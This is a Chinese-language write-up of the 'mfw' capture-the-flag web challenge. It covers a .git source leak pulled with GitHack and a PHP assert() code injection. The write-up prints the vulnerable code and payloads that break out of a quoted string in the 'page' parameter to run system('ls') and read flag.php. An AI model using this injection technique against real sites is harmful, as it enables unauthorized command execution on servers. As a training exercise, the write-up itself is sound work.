0%

mfw-writeup

前言

本题来源于攻防世界WEB题,题目名称为mfw,考察的是PHP代码注入,需要有点脑洞,故记录一下。

正文

首先打开网站后浏览页面,可看到提示用到GitPHPBootstrap,自然想到.git源码泄露:

查看一下果然存在:

那么使用GitHack工具下载源码

下载后所有代码如下:

很明显flag在flag.php文件中,但是泄露的源码中未写入,所以需要根据index.php的漏洞读取到flag.php文件,因为其它的三个都是静态文件。
因为代码中有assert执行判断,而$file可控,所以可以调整$file值进行代码注入,源代码如下:

1
2
3
4
5
6
7
8
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

构造exp如下:

1
?page='.system('ls').'

完整的php语句为:

1
assert("strpos('templates/'.system('ls').'.php', '..') === false")

我们知道php中使用.连接两个字符串,通过闭合单引号,让$file前后拼接的路径变成单独的字符串并使用.拼接system('ls')的执行结果,整个过程行云流水,完美衔接,而system('ls')的结果直接输出到页面上,所以可以进行回显,效果如下:

执行成功后则可以通过system('cat templates/flag.php')来读取文件得到flag:

参考

https://github.com/lijiejie/GitHack